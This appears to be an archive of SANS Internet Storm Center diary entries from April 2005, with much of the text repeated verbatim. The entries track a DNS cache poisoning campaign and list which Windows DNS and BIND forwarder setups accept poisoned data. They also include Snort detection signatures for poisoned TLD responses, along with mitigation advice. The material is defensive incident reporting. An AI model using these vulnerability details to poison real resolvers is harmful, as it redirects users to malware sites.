On Windows 2000 SP3 and above, the DNS server DOES protect against DNS
cache pollution by default. The registry key to protect against the
poisoning is not necessary: the value is TRUE if the registry key does
not exist. Microsoft has now corrected the KB article that we published
earlier with this information.
On Windows 2000, you should manage the DNS cache protection security
setting through the DNS Management Console. On Windows 2000 below SP3,
the "Secure cache against pollution" is not the default so you should
enable it using the DNS Management Console. On Windows 2000 SP3 and
above (and Windows 2003), the secure setting is the default (even if the
registry key does not exist).
Our recommendation is to only set the registry key
(HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS\Parameters) on
Windows NT4. Otherwise, use the DNS Management Console. If you are on
Windows 2000 and you created the key already, you are safe to leave it
in place as long as the value is "1".
There seems to be other possible scenarios where cache poisoning can
occur. When forwarding to another server, Windows DNS servers expects
the upstream DNS server to scrub out cache poisoning attacks. The
Windows DNS server accepts all data that it receives, regardless of the
setting for protecting against cache poisoning. So vulnerability of the
attack depends upon whether the upstream DNS server is filtering out the
attack.
We are currently trying to determine the behavior of DJBDNS, and BIND
versions 4, 8, and 9 when acting as a forwarder. We are asking for
assistance from the community to determine their behavior so write us
if you have details. It appears that BIND4 and BIND8 do not scrub the
data, whereas BIND9 does. See the following scenarios:
Windows DNS --> forwarding to BIND4 or BIND8. Windows DNS server
assumes that BIND scrubs out the poisoning attempt. BIND4 and BIND8 do
NOT appear to scrub the attack. Windows DNS trusts the data and the
Windows DNS cache will become poisoned.
Windows DNS --> forwarding to BIND9. This configuration seems to be
secure because BIND9 scrubs the poisoning attempt.
Windows DNS (slave) --> forwarding to Windows DNS (master). In this
scenario, your vulnerability is based on the vulnerability of the
master. If the master is vulnerable, then it will be poisoned and
forward the attack to the slave server, which will also be poisoned.
However, if the master is secure then both servers should be safe.
The following recommendations are based on the current assumption that
BIND4 and BIND8 forwarders will not filter the cache poisoning attack to
its downstream clients. If we find out that this is not the case, then
the recommendations may not be valid. If you have Windows DNS servers
forwarding to BIND4 or BIND8, you should start investigating an upgrade
of those BIND servers to BIND9. If upgrading to BIND9 would not be a
possibility, a secondary recommendation would be to turn off the
forwarding on Windows DNS and allow the server to contact the Internet
directly so that it can apply the proper protection against cache
poisoning. If you run an ISP and have clients that are using your DNS
servers as forwarders, you may want to consider upgrading your resolvers
to BIND9 in order to protect your clients.
Alternatively, if you have Windows DNS servers that are functioning as
forwarders then you should verify that those machines are protected,
which should protect the rest of the DNS servers behind it.
Advance info for Patch Tuesday; Yellow; DNS cache poisoning update
Advance info for "Patch Tuesday"
Microsoft has released advanced warning about the bulletins it will be releasing next Tuesday. http://www.microsoft.com/technet/security/bulletin/advance.mspx
* 5 Security Bulletins for Windows, maximum level Critical
* 1 Security Bulletin for Office, level Critical
* 1 Security Bulletin for MSN Messenger, level Critical
* 1 Security Bulletin for Exchange, level Critical
Yellow
The InfoCon is currently set at yellow in response to the DNS cache poisoning issues that we have been reporting on for the last several days. We originally went to yellow because we were uncertain of the mechanisms that allowed seemingly "secure" systems to be vulnerable to this issue. Now that we have a better handle on the mechanisms, WE WANT TO GET THE ATTENTION OF ISPs AND ANY OTHERS WHO RUN DNS SERVERS THAT MAY ACT AS FORWARDS FOR DOWNSTREAM Microsoft DNS SYSTEMS. If you are running BIND, please consider updating to Version 9. Read on for more information...
DNS cache poisoning update
We have received more technical details on the software configurations
that are vulnerable. Thanks to Microsoft for clarifying details on
Windows DNS and thanks to numerous others for reporting. We try to get
all the technical details right before publishing information on attacks
like this, but if we waited until we were 100% sure all the time, we
would never be able to notify the community when the attacks are
actually happening.
On Windows 2000 SP3 and above, the DNS server DOES protect against DNS
cache pollution by default. The registry key to protect against the
poisoning is not necessary: the value is TRUE if the registry key does
not exist. Microsoft has now corrected the KB article that we published
earlier with this information.
http://support.microsoft.com/default.aspx?scid=kb;en-us;241352
http://support.microsoft.com/kb/316786
On Windows 2000, you should manage the DNS cache protection security
setting through the DNS Management Console. On Windows 2000 below SP3,
the "Secure cache against pollution" is not the default so you should
enable it using the DNS Management Console. On Windows 2000 SP3 and
above (and Windows 2003), the secure setting is the default (even if the
registry key does not exist).
Our recommendation is to only set the registry key
(HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS\Parameters) on
Windows NT4. Otherwise, use the DNS Management Console. If you are on
Windows 2000 and you created the key already, you are safe to leave it
in place as long as the value is "1".
There seems to be other possible scenarios where cache poisoning can
occur. When forwarding to another server, Windows DNS servers expects
the upstream DNS server to scrub out cache poisoning attacks. The
Windows DNS server accepts all data that it receives, regardless of the
setting for protecting against cache poisoning. So vulnerability of the
attack depends upon whether the upstream DNS server is filtering out the
attack.
We are currently trying to determine the behavior of DJBDNS, and BIND
versions 4, 8, and 9 when acting as a forwarder. We are asking for
assistance from the community to determine their behavior so write us
if you have details. It appears that BIND4 and BIND8 do not scrub the
data, whereas BIND9 does. See the following scenarios:
Windows DNS --> forwarding to BIND4 or BIND8. Windows DNS server
assumes that BIND scrubs out the poisoning attempt. BIND4 and BIND8 do
NOT appear to scrub the attack. Windows DNS trusts the data and the
Windows DNS cache will become poisoned.
Windows DNS --> forwarding to BIND9. This configuration seems to be
secure because BIND9 scrubs the poisoning attempt.
Windows DNS (slave) --> forwarding to Windows DNS (master). In this
scenario, your vulnerability is based on the vulnerability of the
master. If the master is vulnerable, then it will be poisoned and
forward the attack to the slave server, which will also be poisoned.
However, if the master is secure then both servers should be safe.
The following recommendations are based on the current assumption that
BIND4 and BIND8 forwarders will not filter the cache poisoning attack to
its downstream clients. If we find out that this is not the case, then
the recommendations may not be valid. If you have Windows DNS servers
forwarding to BIND4 or BIND8, you should start investigating an upgrade
of those BIND servers to BIND9. If upgrading to BIND9 would not be a
possibility, a secondary recommendation would be to turn off the
forwarding on Windows DNS and allow the server to contact the Internet
directly so that it can apply the proper protection against cache
poisoning. If you run an ISP and have clients that are using your DNS
servers as forwarders, you may want to consider upgrading your resolvers
to BIND9 in order to protect your clients.
Alternatively, if you have Windows DNS servers that are functioning as
forwarders then you should verify that those machines are protected,
which should protect the rest of the DNS servers behind it.
0 Comments
Published: 2005-04-05
A new day has come and as you could notice, we are still on Yellow Infocon Level.
Over the last few days we have been observing some interesting stuff on the DNS poisoning topic.
- http://isc.sans.org/diary.php?date=2005-04-03
- http://isc.sans.org/diary.php?date=2005-04-04
- http://isc.sans.org/presentations/dnspoisoning.php
Something new that we could update is that (Thanks Kyle) according to Microsoft documentation, it appears that Windows 2000 DNS server with SP3+ has the registry key to protect against DNS cache poisoning by default. But we are still trying to validate this information and ensure that this is always the case.
Reference: http://support.microsoft.com/kb/316786/EN-US/
We are researching and trying to get more details about this and post here as soon as possible. Stay tuned!
One of our readers in Peru sent an interesting story about DNS problems in Peru. According our the news, looks like all .gob.pe and .com.pe were unavailable today in Peru. At this time, we don't have any proof that this could be related to the DNS poisoning topic.
Reference:
http://www.elcomercioperu.com.pe/EdicionImpresa/Html/2005-04-03/impLima0283191.html
Thanks to our Finnish reader Juha-Matti, that reminded us that there is life besides DNS Poisoning...
Btw, there are a lot of new stuff around.
-Remember the MS04-045? Well, looks like we have a public exploit available. Didn't patch yet? Need another reason?
Reference: http://support.microsoft.com/kb/870763
- Sybase ASE Multiple vulnerabilities - NGS Software released an advisory about six security flaws in Sybase Adaptive Server Enterprise. Patches available!
Reference: http://www.ngssoftware.com/advisories/sybase-ase.txt
- Looks like the Rootkit detectors are now the hot stuff. After the one from sysinternals, and F-secure Black Light, now SecuriTeam recommends a new one, called Klister. I didnt test them yet, but if anyone would like to share experiences, feel free to email me.
Reference: http://www.securiteam.com/tools/5GP0315FFW.html
------------------------------------------------------------------
Handler on Duty: Pedro Bueno (pbueno /AT/isc.sans.org)
Updates on DNS Poisoning / Peru Offline / Mailbag and other stories...
Updates on DNS Poisoning...
A new day has come and as you could notice, we are still on Yellow Infocon Level.
Over the last few days we have been observing some interesting stuff on the DNS poisoning topic.
- http://isc.sans.org/diary.php?date=2005-04-03
- http://isc.sans.org/diary.php?date=2005-04-04
- http://isc.sans.org/presentations/dnspoisoning.php
Something new that we could update is that (Thanks Kyle) according to Microsoft documentation, it appears that Windows 2000 DNS server with SP3+ has the registry key to protect against DNS cache poisoning by default. But we are still trying to validate this information and ensure that this is always the case.
Reference: http://support.microsoft.com/kb/316786/EN-US/
We are researching and trying to get more details about this and post here as soon as possible. Stay tuned!
Peru Offline?
One of our readers in Peru sent an interesting story about DNS problems in Peru. According our the news, looks like all .gob.pe and .com.pe were unavailable today in Peru. At this time, we don't have any proof that this could be related to the DNS poisoning topic.
Reference:
http://www.elcomercioperu.com.pe/EdicionImpresa/Html/2005-04-03/impLima0283191.html
Mailbag and other stories...
Thanks to our Finnish reader Juha-Matti, that reminded us that there is life besides DNS Poisoning...
Btw, there are a lot of new stuff around.
-Remember the MS04-045? Well, looks like we have a public exploit available. Didn't patch yet? Need another reason?
Reference: http://support.microsoft.com/kb/870763
- Sybase ASE Multiple vulnerabilities - NGS Software released an advisory about six security flaws in Sybase Adaptive Server Enterprise. Patches available!
Reference: http://www.ngssoftware.com/advisories/sybase-ase.txt
- Looks like the Rootkit detectors are now the hot stuff. After the one from sysinternals, and F-secure Black Light, now SecuriTeam recommends a new one, called Klister. I didnt test them yet, but if anyone would like to share experiences, feel free to email me.
Reference: http://www.securiteam.com/tools/5GP0315FFW.html
------------------------------------------------------------------
Handler on Duty: Pedro Bueno (pbueno /AT/isc.sans.org)
0 Comments
Published: 2005-04-04
* DNS Cache Poisoning Report; Increase in Port Activity; SANS Conference
<H3>DNS Cache Poisoning Detailed Analysis Report.</H3>
<UPDATE> - 05/04/2005 - Pedro Bueno
We are moving to Yellow in our Infocon Level. There are some good points to do so.
Our Infocon Level Yellow means: "We are currently tracking a significant new threat. The impact is either unknown or expected to be minor to the infrastructure." - http://isc.sans.org/infocon.php .
We are facing a new threat and even we have a good idea of the
effect and researching and trying to find the exact cause of what is going on, we do know that something is going on. So we take the prudent step of going to yellow.
You should expect more updates. We will keep updating this page, since it contains the great summary of the event and the link to Kyle´s report.
</UPDATE>
We are flashing the ISC alert tool (http://www.labreatechnologies.com/ISCAlert.zip ) to draw our readers to a new report written by the Handler Kyle Haugsness and several other handlers wrote an excellent report on what they found so far with respect to the DNS cache poisoning we have reported over the past several days. The summary of the report is below, and the remainder of the report is at http://isc.sans.org/presentations/dnspoisoning.php
Summary
Around 22:30 GMT on March 3, 2005 the SANS Internet Storm Center began receiving reports from multiple sites about DNS cache poisoning attacks that were redirecting users to websites hosting malware. As the "Handler on Duty" for March 4, I began investigating the incident over the course of the following hours and days. This report is intended to provide useful details about this incident to the community.
The initial reports showed solid evidence of DNS cache poisoning, but there also seemed to be a spyware/adware/malware component at work. After complete analysis, the attack involved several different technologies: dynamic DNS, DNS cache poisoning, a bug in Symantec firewall/gateway products, default settings on Windows NT4/2000, spyware/adware, and a compromise of at least 5 UNIX webservers. We received information the attack may have started as early as Feb. 22, 2005 but probably only affected a small number of people.
On March 24, we received reports of a different DNS cache poisoning attack. This attack did not appear to affect as many people. This will be referred to as the "second attack" in the remainder of this report.
After monitoring the situation for several weeks now, it has become apparent that the attacker(s) are changing their methods and toolset to point at different compromised servers in an effort to keep the attacks alive. This attack morphed into a similar attack with different IP addresses that users were re-directed toward. This will be referred to as the third attack and is still ongoing as of April 1, 2005.
Before proceeding, a note of thanks is in order for all the people that have submitted reports to us, helped us investigate further, and provided us logs or data. The Internet Storm Center is a volunteer effort and the better information that we receive from the community, the better analysis we can perform and contribute back to the community.
Contents:
1. How can others help?
2. How do I recover from a DNS cache poisoning attack?
3. What software is vulnerable?
4. I am a dial-up/DSL/cable modem user -- am I vulnerable?
5. Where can I test my site to see if I am vulnerable?
6. What exactly is DNS cache poisoning?
7. What was the motivation for this type of attack?
8. Weren't DNS cache poisoning attacks squashed around 8 years ago?
9. What was the trigger for the attack?
10. How exactly did this DNS cache poisoning attack work?
11. What domain names were being hijacked?
12. What were the victim sites?
13. What malware was placed on my machine if I visited the evil servers?
14. Got packets?
15. Got snort?
Read the rest of the report at http://isc.sans.org/presentations/dnspoisoning.php
<H3>Increase in Port Activity.</H3> Arno wrote us today to draw our attention to two ports that have shown a big increase in activity in the past few days. Check out ports 8082 (BlackIce Capture) and 20031 (BakBone NetVault). Notice that the 8082 traffic is largely UDP, comes from several thousand sources, but is aimed at less than 200 targets. There is a known issue with NetVault, which accounts for all of the 20031 scanning, but what is going on with BlackIce?
http://isc.sans.org/port_details.php?port=8082
http://isc.sans.org/port_details.php?port=20031
<H3>SANS Conference</H3>
It has come to our attention at the Hotel where the SANS conference is being held, that possibly the DNS servers there are poisoned. Our only recommendation we can offer until we can fix/correct this, is to use a public dns server, that is not vulnerable.
4.2.2.1
4.2.2.2
4.2.2.3
These public dns servers should work.
<UPDATE> - 05/04/2005 - Pedro Bueno
We are moving to Yellow in our Infocon Level. There are some good points to do so.
Our Infocon Level Yellow means: "We are currently tracking a significant new threat. The impact is either unknown or expected to be minor to the infrastructure." - http://isc.sans.org/infocon.php .
We are facing a new threat and even we have a good idea of the
effect and researching and trying to find the exact cause of what is going on, we do know that something is going on. So we take the prudent step of going to yellow.
You should expect more updates. We will keep updating this page, since it contains the great summary of the event and the link to Kyle´s report.
</UPDATE>
We are flashing the ISC alert tool (http://www.labreatechnologies.com/ISCAlert.zip ) to draw our readers to a new report written by the Handler Kyle Haugsness and several other handlers wrote an excellent report on what they found so far with respect to the DNS cache poisoning we have reported over the past several days. The summary of the report is below, and the remainder of the report is at http://isc.sans.org/presentations/dnspoisoning.php
Summary
Around 22:30 GMT on March 3, 2005 the SANS Internet Storm Center began receiving reports from multiple sites about DNS cache poisoning attacks that were redirecting users to websites hosting malware. As the "Handler on Duty" for March 4, I began investigating the incident over the course of the following hours and days. This report is intended to provide useful details about this incident to the community.
The initial reports showed solid evidence of DNS cache poisoning, but there also seemed to be a spyware/adware/malware component at work. After complete analysis, the attack involved several different technologies: dynamic DNS, DNS cache poisoning, a bug in Symantec firewall/gateway products, default settings on Windows NT4/2000, spyware/adware, and a compromise of at least 5 UNIX webservers. We received information the attack may have started as early as Feb. 22, 2005 but probably only affected a small number of people.
On March 24, we received reports of a different DNS cache poisoning attack. This attack did not appear to affect as many people. This will be referred to as the "second attack" in the remainder of this report.
After monitoring the situation for several weeks now, it has become apparent that the attacker(s) are changing their methods and toolset to point at different compromised servers in an effort to keep the attacks alive. This attack morphed into a similar attack with different IP addresses that users were re-directed toward. This will be referred to as the third attack and is still ongoing as of April 1, 2005.
Before proceeding, a note of thanks is in order for all the people that have submitted reports to us, helped us investigate further, and provided us logs or data. The Internet Storm Center is a volunteer effort and the better information that we receive from the community, the better analysis we can perform and contribute back to the community.
Contents:
1. How can others help?
2. How do I recover from a DNS cache poisoning attack?
3. What software is vulnerable?
4. I am a dial-up/DSL/cable modem user -- am I vulnerable?
5. Where can I test my site to see if I am vulnerable?
6. What exactly is DNS cache poisoning?
7. What was the motivation for this type of attack?
8. Weren't DNS cache poisoning attacks squashed around 8 years ago?
9. What was the trigger for the attack?
10. How exactly did this DNS cache poisoning attack work?
11. What domain names were being hijacked?
12. What were the victim sites?
13. What malware was placed on my machine if I visited the evil servers?
14. Got packets?
15. Got snort?
Read the rest of the report at http://isc.sans.org/presentations/dnspoisoning.php
<H3>Increase in Port Activity.</H3> Arno wrote us today to draw our attention to two ports that have shown a big increase in activity in the past few days. Check out ports 8082 (BlackIce Capture) and 20031 (BakBone NetVault). Notice that the 8082 traffic is largely UDP, comes from several thousand sources, but is aimed at less than 200 targets. There is a known issue with NetVault, which accounts for all of the 20031 scanning, but what is going on with BlackIce?
http://isc.sans.org/port_details.php?port=8082
http://isc.sans.org/port_details.php?port=20031
<H3>SANS Conference</H3>
It has come to our attention at the Hotel where the SANS conference is being held, that possibly the DNS servers there are poisoned. Our only recommendation we can offer until we can fix/correct this, is to use a public dns server, that is not vulnerable.
4.2.2.1
4.2.2.2
4.2.2.3
These public dns servers should work.
0 Comments
Published: 2005-04-03
* DNS Cache Poisoning Report; Increase in Port Activity
<H3>DNS Cache Poisoning Detailed Analysis Report.</H3> We are flashing the ISC alert tool ( http://www.labreatechnologies.com/ISCAlert.zip ) to draw our readers to a new report written by handler Kyle Haugsness and several other handlers. This excellent report discusses what they found so far with respect to the DNS cache poisoning we reported over the past several days. The summary of the report is below, and the remainder of the report is at http://isc.sans.org/presentations/dnspoisoning.php
Summary
Around 22:30 GMT on March 3, 2005 the SANS Internet Storm Center began receiving reports from multiple sites about DNS cache poisoning attacks that were redirecting users to websites hosting malware. As the "Handler on Duty" for March 4, I began investigating the incident over the course of the following hours and days. This report is intended to provide useful details about this incident to the community.
The initial reports showed solid evidence of DNS cache poisoning, but there also seemed to be a spyware/adware/malware component at work. After complete analysis, the attack involved several different technologies: dynamic DNS, DNS cache poisoning, a bug in Symantec firewall/gateway products, default settings on Windows NT4/2000, spyware/adware, and a compromise of at least 5 UNIX webservers. We received information the attack may have started as early as Feb. 22, 2005 but probably only affected a small number of people.
On March 24, we received reports of a different DNS cache poisoning attack. This attack did not appear to affect as many people. This will be referred to as the "second attack" in the remainder of this report.
After monitoring the situation for several weeks now, it has become apparent that the attacker(s) are changing their methods and toolset to point at different compromised servers in an effort to keep the attacks alive. This attack morphed into a similar attack with different IP addresses that users were re-directed toward. This will be referred to as the third attack and is still ongoing as of April 1, 2005.
Before proceeding, a note of thanks is in order for all the people that have submitted reports to us, helped us investigate further, and provided us logs or data. The Internet Storm Center is a volunteer effort and the better information that we receive from the community, the better analysis we can perform and contribute back to the community.
Contents:
1. How can others help?
2. How do I recover from a DNS cache poisoning attack?
3. What software is vulnerable?
4. I am a dial-up/DSL/cable modem user -- am I vulnerable?
5. Where can I test my site to see if I am vulnerable?
6. What exactly is DNS cache poisoning?
7. What was the motivation for this type of attack?
8. Weren't DNS cache poisoning attacks squashed around 8 years ago?
9. What was the trigger for the attack?
10. How exactly did this DNS cache poisoning attack work?
11. What domain names were being hijacked?
12. What were the victim sites?
13. What malware was placed on my machine if I visited the evil servers?
14. Got packets?
15. Got snort?
Read the rest of the report at http://isc.sans.org/presentations/dnspoisoning.php
<H3>Increase in Port Activity.</H3> Arno wrote us today to draw our attention to two ports that have shown a big increase in activity in the past few days. Check out ports 8082 (BlackIce Capture) and 20031 (BakBone NetVault). Notice that the 8082 traffic is largely UDP, comes from several thousand sources, but is aimed at less than 200 targets. There is a known issue with NetVault, which accounts for all of the 20031 scanning, but what is going on with BlackIce?
http://isc.sans.org/port_details.php?port=8082
http://isc.sans.org/port_details.php?port=20031
<H3>San Diego SANS Conference</H3>
It has come to our attention that the DNS servers for the hotel where the San Diego SANS conference is being held are possibly poisoned. The best recommendation we can offer until we can fix/correct this, is to use a public DNS server that is not vulnerable, such as:
4.2.2.1
4.2.2.2
4.2.2.3
Marcus H. Sachs
Handler on Duty
Director, SANS Internet Storm Center
Summary
Around 22:30 GMT on March 3, 2005 the SANS Internet Storm Center began receiving reports from multiple sites about DNS cache poisoning attacks that were redirecting users to websites hosting malware. As the "Handler on Duty" for March 4, I began investigating the incident over the course of the following hours and days. This report is intended to provide useful details about this incident to the community.
The initial reports showed solid evidence of DNS cache poisoning, but there also seemed to be a spyware/adware/malware component at work. After complete analysis, the attack involved several different technologies: dynamic DNS, DNS cache poisoning, a bug in Symantec firewall/gateway products, default settings on Windows NT4/2000, spyware/adware, and a compromise of at least 5 UNIX webservers. We received information the attack may have started as early as Feb. 22, 2005 but probably only affected a small number of people.
On March 24, we received reports of a different DNS cache poisoning attack. This attack did not appear to affect as many people. This will be referred to as the "second attack" in the remainder of this report.
After monitoring the situation for several weeks now, it has become apparent that the attacker(s) are changing their methods and toolset to point at different compromised servers in an effort to keep the attacks alive. This attack morphed into a similar attack with different IP addresses that users were re-directed toward. This will be referred to as the third attack and is still ongoing as of April 1, 2005.
Before proceeding, a note of thanks is in order for all the people that have submitted reports to us, helped us investigate further, and provided us logs or data. The Internet Storm Center is a volunteer effort and the better information that we receive from the community, the better analysis we can perform and contribute back to the community.
Contents:
1. How can others help?
2. How do I recover from a DNS cache poisoning attack?
3. What software is vulnerable?
4. I am a dial-up/DSL/cable modem user -- am I vulnerable?
5. Where can I test my site to see if I am vulnerable?
6. What exactly is DNS cache poisoning?
7. What was the motivation for this type of attack?
8. Weren't DNS cache poisoning attacks squashed around 8 years ago?
9. What was the trigger for the attack?
10. How exactly did this DNS cache poisoning attack work?
11. What domain names were being hijacked?
12. What were the victim sites?
13. What malware was placed on my machine if I visited the evil servers?
14. Got packets?
15. Got snort?
Read the rest of the report at http://isc.sans.org/presentations/dnspoisoning.php
<H3>Increase in Port Activity.</H3> Arno wrote us today to draw our attention to two ports that have shown a big increase in activity in the past few days. Check out ports 8082 (BlackIce Capture) and 20031 (BakBone NetVault). Notice that the 8082 traffic is largely UDP, comes from several thousand sources, but is aimed at less than 200 targets. There is a known issue with NetVault, which accounts for all of the 20031 scanning, but what is going on with BlackIce?
http://isc.sans.org/port_details.php?port=8082
http://isc.sans.org/port_details.php?port=20031
<H3>San Diego SANS Conference</H3>
It has come to our attention that the DNS servers for the hotel where the San Diego SANS conference is being held are possibly poisoned. The best recommendation we can offer until we can fix/correct this, is to use a public DNS server that is not vulnerable, such as:
4.2.2.1
4.2.2.2
4.2.2.3
Marcus H. Sachs
Handler on Duty
Director, SANS Internet Storm Center
0 Comments
Published: 2005-04-02
We're receiving more reports of email messages coming in posing as "postcard pickup" notifications that wind up delivering a trojan payload. One example we were forwarded is an email message claiming "You have just received a virtual postcard from a family member!" which apparently sends you to a "pickup" site that gives you an mIRC-based trojan. While it's sad that we have to say this, the amount of cruft that's being delivered via email continues to encourage us to take a "default deny" posture; without knowing the true source of an email, one has to be cautious on accepting just about everything these days.
One reader wrote in and made a good observation that some of these client-side hijackings (like the trojan mentioned above that hooks mIRC) slide past most AV engines and even desktop firewalls; they are considered "authorized" applications by most controls, therefore appear to be benign (when they really are not). We continue to see trojan delivery models that leverage existing applications, and this is something that we - as a community - are really going to need a long-term solution for. Some further reading on the topic, if anyone is interested:
"Take back the desktop," from the March 17th issue of Network Computing
(175k PDF)
While this shouldn't come as a surprise to anyone, it looks like we might be in for some more IE and Outlook patching:
http://www.eeye.com/html/research/upcoming/20050316.html">
http://www.eeye.com/html/research/upcoming/20050316.html
http://www.eeye.com/html/research/upcoming/20050329.html">
http://www.eeye.com/html/research/upcoming/20050329.html
Trojan postcards; Using authorized apps to do bad things; More IE and Outlook problems?
Postcard Trojans
We're receiving more reports of email messages coming in posing as "postcard pickup" notifications that wind up delivering a trojan payload. One example we were forwarded is an email message claiming "You have just received a virtual postcard from a family member!" which apparently sends you to a "pickup" site that gives you an mIRC-based trojan. While it's sad that we have to say this, the amount of cruft that's being delivered via email continues to encourage us to take a "default deny" posture; without knowing the true source of an email, one has to be cautious on accepting just about everything these days.
Use of authorized apps in client side attacks
One reader wrote in and made a good observation that some of these client-side hijackings (like the trojan mentioned above that hooks mIRC) slide past most AV engines and even desktop firewalls; they are considered "authorized" applications by most controls, therefore appear to be benign (when they really are not). We continue to see trojan delivery models that leverage existing applications, and this is something that we - as a community - are really going to need a long-term solution for. Some further reading on the topic, if anyone is interested:
"Take back the desktop," from the March 17th issue of Network Computing
(175k PDF)
More Outlook and IE problems?
While this shouldn't come as a surprise to anyone, it looks like we might be in for some more IE and Outlook patching:
http://www.eeye.com/html/research/upcoming/20050316.html">
http://www.eeye.com/html/research/upcoming/20050316.html
http://www.eeye.com/html/research/upcoming/20050329.html">
http://www.eeye.com/html/research/upcoming/20050329.html
0 Comments
Published: 2005-04-01
Much thanx to Cody Hatch for all the hard work in building and testing these. These signatures require Snort version 2.3 or later. Feedback on these would be greatly appreciated as well.
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"com DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|com|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"net DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|net|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"org DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|org|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"biz DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|biz|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"edu DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|edu|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"gov DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|gov|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"int DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|int|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"mil DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|mil|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"info DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|04|info|00|"; nocase; within:6; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"name DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|04|name|00|"; nocase; within:6; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"pro DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|pro|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
Again, many props to Cody Hatch for the work on this one.
NISCC has reported that Acrobat Reader contains a vulnerability which, when executed, could allow an attacker to discover local files. Yes, we know the advisory is a PDF, this isn't an April Fools joke.
Thanx Adrien for the update,
http://www.niscc.gov.uk/niscc/docs/re-20050401-00264.pdf
We are still seeing TCP 1025 traffic, with a new report submitted today from Michael Cloppert. His report showed a spike from external sources, in excess of 10,000 hosts.
If anybody has captures of TCP 1025 traffic it would greatly help in our analysis.
Given the current activity with DNS Cache poisoning that we are dealing with, it was suggested by one of the Handlers that this might be some good reading. (It *is* good reading, highly recommend it)
http://www.nap.edu/execsumm_pdf/11258.pdf
DNS Snort Signatures; Acrobat Reader Vuln;TCP Port 1025 Traffic; Excellent DNS Article
Snort Signatures for TLD DNS packets
Much thanx to Cody Hatch for all the hard work in building and testing these. These signatures require Snort version 2.3 or later. Feedback on these would be greatly appreciated as well.
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"com DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|com|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"net DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|net|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"org DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|org|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
alert udp $EXTERNAL_NET 53 -> $HOME_NET any (msg:"biz DNS cache poison"; content:!"TLD-SERVERS"; nocase; offset:10; depth:50; content:"|c0|"; content:"|00 02|"; distance:1; within:2; byte_jump:1,-3,relative,from_beginning; content:"|03|biz|00|"; nocase; within:5; classtype:misc-attack; sid:1600; rev:3;)\
